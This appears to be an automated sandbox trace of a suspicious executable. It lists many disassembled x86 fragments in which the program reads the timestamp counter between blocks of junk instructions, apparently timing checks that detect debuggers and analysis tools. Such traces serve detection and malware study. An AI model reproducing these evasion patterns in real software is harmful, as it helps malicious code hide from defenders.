Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: 5400102 second address: 540012B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F17B0FBC26Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebx 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F17B0FBC275h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: 540012B second address: 5400148 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movsx edi, cx 0x00000006 push eax 0x00000007 pop edx 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c pushad 0x0000000d movsx edi, si 0x00000010 push esi 0x00000011 mov ebx, 1470582Eh 0x00000016 pop edx 0x00000017 popad 0x00000018 xchg eax, ebx 0x00000019 pushad 0x0000001a pushad 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: 5400148 second address: 5400172 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov cl, 4Bh 0x00000006 popad 0x00000007 jmp 00007F17B0FBC279h 0x0000000c popad 0x0000000d mov ebx, dword ptr [ebp+10h] 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: 5400172 second address: 5400176 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: 5400176 second address: 540017C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: 540017C second address: 54001F5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ecx, 7A17E897h 0x00000008 pushfd 0x00000009 jmp 00007F17B0CB142Ch 0x0000000e add al, 00000008h 0x00000011 jmp 00007F17B0CB142Bh 0x00000016 popfd 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a xchg eax, esi 0x0000001b jmp 00007F17B0CB1436h 0x00000020 push eax 0x00000021 pushad 0x00000022 pushfd 0x00000023 jmp 00007F17B0CB142Dh 0x00000028 jmp 00007F17B0CB142Bh 0x0000002d popfd 0x0000002e popad 0x0000002f xchg eax, esi 0x00000030 jmp 00007F17B0CB1436h 0x00000035 mov esi, dword ptr [ebp+08h] 0x00000038 pushad 0x00000039 pushad 0x0000003a push eax 0x0000003b push edx 0x0000003c rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: 54001F5 second address: 540024D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop edi 0x00000006 popad 0x00000007 pushfd 0x00000008 jmp 00007F17B0FBC276h 0x0000000d or si, B258h 0x00000012 jmp 00007F17B0FBC26Bh 0x00000017 popfd 0x00000018 popad 0x00000019 xchg eax, edi 0x0000001a jmp 00007F17B0FBC276h 0x0000001f push eax 0x00000020 push eax 0x00000021 push edx 0x00000022 jmp 00007F17B0FBC26Eh 0x00000027 rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: 540024D second address: 5400253 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: 5400253 second address: 5400257 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: 5400257 second address: 5400276 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, edi 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F17B0CB1434h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: 5400276 second address: 54002F0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F17B0FBC26Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 test esi, esi 0x0000000b jmp 00007F17B0FBC276h 0x00000010 je 00007F1822AEA5DEh 0x00000016 jmp 00007F17B0FBC270h 0x0000001b cmp dword ptr [esi+08h], DDEEDDEEh 0x00000022 pushad 0x00000023 mov al, 59h 0x00000025 mov edi, 57EA8DEEh 0x0000002a popad 0x0000002b je 00007F1822AEA5CEh 0x00000031 jmp 00007F17B0FBC275h 0x00000036 mov edx, dword ptr [esi+44h] 0x00000039 push eax 0x0000003a push edx 0x0000003b jmp 00007F17B0FBC26Dh 0x00000040 rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: 54002F0 second address: 5400328 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F17B0CB1431h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 or edx, dword ptr [ebp+0Ch] 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f pushad 0x00000010 popad 0x00000011 call 00007F17B0CB1439h 0x00000016 pop ecx 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: 5400328 second address: 5400388 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F17B0FBC26Ch 0x00000008 mov bx, ax 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e test edx, 61000000h 0x00000014 pushad 0x00000015 pushfd 0x00000016 jmp 00007F17B0FBC26Ah 0x0000001b sbb cx, 4558h 0x00000020 jmp 00007F17B0FBC26Bh 0x00000025 popfd 0x00000026 push eax 0x00000027 push edx 0x00000028 pushfd 0x00000029 jmp 00007F17B0FBC276h 0x0000002e add ah, FFFFFFB8h 0x00000031 jmp 00007F17B0FBC26Bh 0x00000036 popfd 0x00000037 rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: 5400388 second address: 54003C6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F17B0CB1438h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a jne 00007F18227DF709h 0x00000010 pushad 0x00000011 mov ax, BEADh 0x00000015 mov si, 98A9h 0x00000019 popad 0x0000001a test byte ptr [esi+48h], 00000001h 0x0000001e push eax 0x0000001f push edx 0x00000020 jmp 00007F17B0CB142Bh 0x00000025 rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: 53F079B second address: 53F07BE instructions: 0x00000000 rdtsc 0x00000002 mov edx, eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov ebp, esp 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F17B0FBC276h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: 53F07BE second address: 53F07CD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F17B0CB142Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: 53F07CD second address: 53F0840 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov cl, dh 0x00000005 mov di, ax 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b and esp, FFFFFFF8h 0x0000000e pushad 0x0000000f pushfd 0x00000010 jmp 00007F17B0FBC278h 0x00000015 sub cx, 1908h 0x0000001a jmp 00007F17B0FBC26Bh 0x0000001f popfd 0x00000020 movzx eax, bx 0x00000023 popad 0x00000024 push ebp 0x00000025 push eax 0x00000026 push edx 0x00000027 pushad 0x00000028 push edi 0x00000029 pop eax 0x0000002a pushfd 0x0000002b jmp 00007F17B0FBC279h 0x00000030 or cl, FFFFFFD6h 0x00000033 jmp 00007F17B0FBC271h 0x00000038 popfd 0x00000039 popad 0x0000003a rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: 53F0840 second address: 53F0850 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F17B0CB142Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: 53F0850 second address: 53F0854 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: 53F0854 second address: 53F086B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], ebx 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F17B0CB142Ah 0x00000012 rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: 53F086B second address: 53F08C5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F17B0FBC26Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, esi 0x0000000a jmp 00007F17B0FBC276h 0x0000000f push eax 0x00000010 pushad 0x00000011 call 00007F17B0FBC271h 0x00000016 push esi 0x00000017 pop edi 0x00000018 pop ecx 0x00000019 jmp 00007F17B0FBC26Dh 0x0000001e popad 0x0000001f xchg eax, esi 0x00000020 push eax 0x00000021 push edx 0x00000022 jmp 00007F17B0FBC26Dh 0x00000027 rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: 53F08C5 second address: 53F0905 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movsx edi, ax 0x00000006 push eax 0x00000007 pop ebx 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov esi, dword ptr [ebp+08h] 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 pushfd 0x00000012 jmp 00007F17B0CB1437h 0x00000017 jmp 00007F17B0CB1433h 0x0000001c popfd 0x0000001d mov edi, ecx 0x0000001f popad 0x00000020 rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: 53F0905 second address: 53F090B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: 53F090B second address: 53F090F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: 53F090F second address: 53F0942 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F17B0FBC277h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b sub ebx, ebx 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F17B0FBC272h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: 53F0942 second address: 53F097D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F17B0CB142Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 test esi, esi 0x0000000b jmp 00007F17B0CB1436h 0x00000010 je 00007F18227E6E4Bh 0x00000016 push eax 0x00000017 push edx 0x00000018 push eax 0x00000019 push edx 0x0000001a jmp 00007F17B0CB142Ah 0x0000001f rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: 53F097D second address: 53F0981 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: 53F0981 second address: 53F0987 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: 53F0987 second address: 53F09A6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F17B0FBC26Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 cmp dword ptr [esi+08h], DDEEDDEEh 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: 53F09A6 second address: 53F09AA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: 53F09AA second address: 53F09B0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: 53F09B0 second address: 53F09F8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov esi, 342A93B1h 0x00000008 mov si, B9EDh 0x0000000c popad 0x0000000d pop edx 0x0000000e pop eax 0x0000000f mov ecx, esi 0x00000011 jmp 00007F17B0CB1438h 0x00000016 je 00007F18227E6DF0h 0x0000001c pushad 0x0000001d mov si, B2CDh 0x00000021 pushad 0x00000022 mov ch, B0h 0x00000024 mov si, dx 0x00000027 popad 0x00000028 popad 0x00000029 test byte ptr [76FB6968h], 00000002h 0x00000030 push eax 0x00000031 push edx 0x00000032 pushad 0x00000033 push eax 0x00000034 push edx 0x00000035 rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: 53F09F8 second address: 53F09FF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov bl, cl 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: 53F09FF second address: 53F0A1A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F17B0CB1437h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: 53F0A1A second address: 53F0A87 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F17B0FBC279h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jne 00007F1822AF1BE3h 0x00000011 pushad 0x00000012 mov bl, al 0x00000014 mov bx, 70ECh 0x00000018 popad 0x00000019 mov edx, dword ptr [ebp+0Ch] 0x0000001c pushad 0x0000001d mov ebx, 55AEF184h 0x00000022 pushfd 0x00000023 jmp 00007F17B0FBC26Dh 0x00000028 add esi, 23AA40C6h 0x0000002e jmp 00007F17B0FBC271h 0x00000033 popfd 0x00000034 popad 0x00000035 xchg eax, ebx 0x00000036 push eax 0x00000037 push edx 0x00000038 jmp 00007F17B0FBC26Dh 0x0000003d rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: 53F0A87 second address: 53F0B4D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F17B0CB1437h 0x00000009 xor ax, 2CAEh 0x0000000e jmp 00007F17B0CB1439h 0x00000013 popfd 0x00000014 mov si, AD37h 0x00000018 popad 0x00000019 pop edx 0x0000001a pop eax 0x0000001b push eax 0x0000001c pushad 0x0000001d pushad 0x0000001e jmp 00007F17B0CB1439h 0x00000023 push esi 0x00000024 pop edx 0x00000025 popad 0x00000026 mov cl, C9h 0x00000028 popad 0x00000029 xchg eax, ebx 0x0000002a jmp 00007F17B0CB142Fh 0x0000002f xchg eax, ebx 0x00000030 jmp 00007F17B0CB1436h 0x00000035 push eax 0x00000036 pushad 0x00000037 mov dx, AD94h 0x0000003b push edi 0x0000003c mov esi, 4D94C2DFh 0x00000041 pop eax 0x00000042 popad 0x00000043 xchg eax, ebx 0x00000044 pushad 0x00000045 jmp 00007F17B0CB1431h 0x0000004a mov edx, esi 0x0000004c popad 0x0000004d push dword ptr [ebp+14h] 0x00000050 push eax 0x00000051 push edx 0x00000052 pushad 0x00000053 jmp 00007F17B0CB142Fh 0x00000058 mov edx, esi 0x0000005a popad 0x0000005b rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: 53F0B4D second address: 53F0B61 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F17B0FBC270h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: 53F0B61 second address: 53F0B65 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: 5400983 second address: 540099B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F17B0FBC274h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: 5480754 second address: 5480781 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F17B0CB1439h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F17B0CB142Dh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: 54708B9 second address: 54708C8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F17B0FBC26Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: 54707CD second address: 54707DE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F17B0CB142Dh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: 5410037 second address: 541003B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: 541003B second address: 541003F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: 541003F second address: 5410045 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: 5410045 second address: 541005B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F17B0CB1432h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: 541005B second address: 541005F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: 5470AC0 second address: 5470B3C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov bl, 84h 0x00000005 pushfd 0x00000006 jmp 00007F17B0CB1438h 0x0000000b sbb cx, B148h 0x00000010 jmp 00007F17B0CB142Bh 0x00000015 popfd 0x00000016 popad 0x00000017 pop edx 0x00000018 pop eax 0x00000019 xchg eax, ebp 0x0000001a pushad 0x0000001b mov ecx, 3A1669DBh 0x00000020 mov ebx, ecx 0x00000022 popad 0x00000023 push eax 0x00000024 pushad 0x00000025 pushfd 0x00000026 jmp 00007F17B0CB1433h 0x0000002b add esi, 086D0C3Eh 0x00000031 jmp 00007F17B0CB1439h 0x00000036 popfd 0x00000037 mov ebx, ecx 0x00000039 popad 0x0000003a xchg eax, ebp 0x0000003b push eax 0x0000003c push edx 0x0000003d push eax 0x0000003e push edx 0x0000003f pushad 0x00000040 popad 0x00000041 rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: 5470B3C second address: 5470B4B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F17B0FBC26Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: 5470B4B second address: 5470BAF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F17B0CB1439h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b pushad 0x0000000c movzx ecx, dx 0x0000000f pushfd 0x00000010 jmp 00007F17B0CB1439h 0x00000015 jmp 00007F17B0CB142Bh 0x0000001a popfd 0x0000001b popad 0x0000001c push dword ptr [ebp+0Ch] 0x0000001f push eax 0x00000020 push edx 0x00000021 jmp 00007F17B0CB1435h 0x00000026 rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: 5470BAF second address: 5470BB5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: 5470BB5 second address: 5470BE8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F17B0CB1433h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push dword ptr [ebp+08h] 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F17B0CB1435h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: 5470BE8 second address: 5470C1F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F17B0FBC271h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push 8C95B491h 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 movzx ecx, di 0x00000014 call 00007F17B0FBC275h 0x00000019 pop esi 0x0000001a popad 0x0000001b rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: 5470C6B second address: 5470C7A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F17B0CB142Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: 5470C7A second address: 5470CDA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop eax 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop ebp 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c pushfd 0x0000000d jmp 00007F17B0FBC279h 0x00000012 xor cx, 2D86h 0x00000017 jmp 00007F17B0FBC271h 0x0000001c popfd 0x0000001d pushfd 0x0000001e jmp 00007F17B0FBC270h 0x00000023 add cx, 3028h 0x00000028 jmp 00007F17B0FBC26Bh 0x0000002d popfd 0x0000002e popad 0x0000002f rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: 5420309 second address: 5420326 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F17B0CB1439h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: 5420326 second address: 5420385 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F17B0FBC271h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a pushad 0x0000000b pushfd 0x0000000c jmp 00007F17B0FBC26Ch 0x00000011 sbb esi, 49C786A8h 0x00000017 jmp 00007F17B0FBC26Bh 0x0000001c popfd 0x0000001d pushad 0x0000001e mov si, BEB5h 0x00000022 mov si, 9131h 0x00000026 popad 0x00000027 popad 0x00000028 push eax 0x00000029 push eax 0x0000002a push edx 0x0000002b push eax 0x0000002c push edx 0x0000002d jmp 00007F17B0FBC279h 0x00000032 rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: 5420385 second address: 5420389 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: 5420389 second address: 542038F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: 542038F second address: 54203C9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F17B0CB142Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a jmp 00007F17B0CB1430h 0x0000000f mov ebp, esp 0x00000011 pushad 0x00000012 call 00007F17B0CB142Eh 0x00000017 mov si, DE61h 0x0000001b pop ecx 0x0000001c pushad 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: 54203C9 second address: 54203E7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 popad 0x00000008 push FFFFFFFEh 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d mov bx, ax 0x00000010 call 00007F17B0FBC26Ch 0x00000015 pop esi 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: 54203E7 second address: 542041D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov cx, 907Dh 0x00000007 jmp 00007F17B0CB142Ah 0x0000000c popad 0x0000000d pop edx 0x0000000e pop eax 0x0000000f call 00007F17B0CB1429h 0x00000014 push eax 0x00000015 push edx 0x00000016 jmp 00007F17B0CB1437h 0x0000001b rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: 542041D second address: 542044A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov edx, 3521022Ah 0x00000008 jmp 00007F17B0FBC26Bh 0x0000000d popad 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007F17B0FBC274h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: 542044A second address: 54204D5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F17B0CB142Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [esp+04h] 0x0000000d jmp 00007F17B0CB1439h 0x00000012 mov eax, dword ptr [eax] 0x00000014 pushad 0x00000015 pushfd 0x00000016 jmp 00007F17B0CB1437h 0x0000001b adc ecx, 1EC0223Eh 0x00000021 jmp 00007F17B0CB1439h 0x00000026 popfd 0x00000027 mov eax, 7B114987h 0x0000002c popad 0x0000002d mov dword ptr [esp+04h], eax 0x00000031 push eax 0x00000032 push edx 0x00000033 jmp 00007F17B0CB1438h 0x00000038 rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: 54204D5 second address: 54205BA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F17B0FBC26Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop eax 0x0000000a jmp 00007F17B0FBC276h 0x0000000f call 00007F17B0FBC269h 0x00000014 pushad 0x00000015 mov dx, E0E0h 0x00000019 popad 0x0000001a push eax 0x0000001b jmp 00007F17B0FBC276h 0x00000020 mov eax, dword ptr [esp+04h] 0x00000024 jmp 00007F17B0FBC26Bh 0x00000029 mov eax, dword ptr [eax] 0x0000002b jmp 00007F17B0FBC279h 0x00000030 mov dword ptr [esp+04h], eax 0x00000034 jmp 00007F17B0FBC271h 0x00000039 pop eax 0x0000003a jmp 00007F17B0FBC26Eh 0x0000003f mov eax, dword ptr fs:[00000000h] 0x00000045 pushad 0x00000046 push ecx 0x00000047 pushfd 0x00000048 jmp 00007F17B0FBC26Dh 0x0000004d add ax, 9356h 0x00000052 jmp 00007F17B0FBC271h 0x00000057 popfd 0x00000058 pop eax 0x00000059 push ebx 0x0000005a pushad 0x0000005b popad 0x0000005c pop eax 0x0000005d popad 0x0000005e push edx 0x0000005f push eax 0x00000060 push edx 0x00000061 jmp 00007F17B0FBC275h 0x00000066 rdtsc
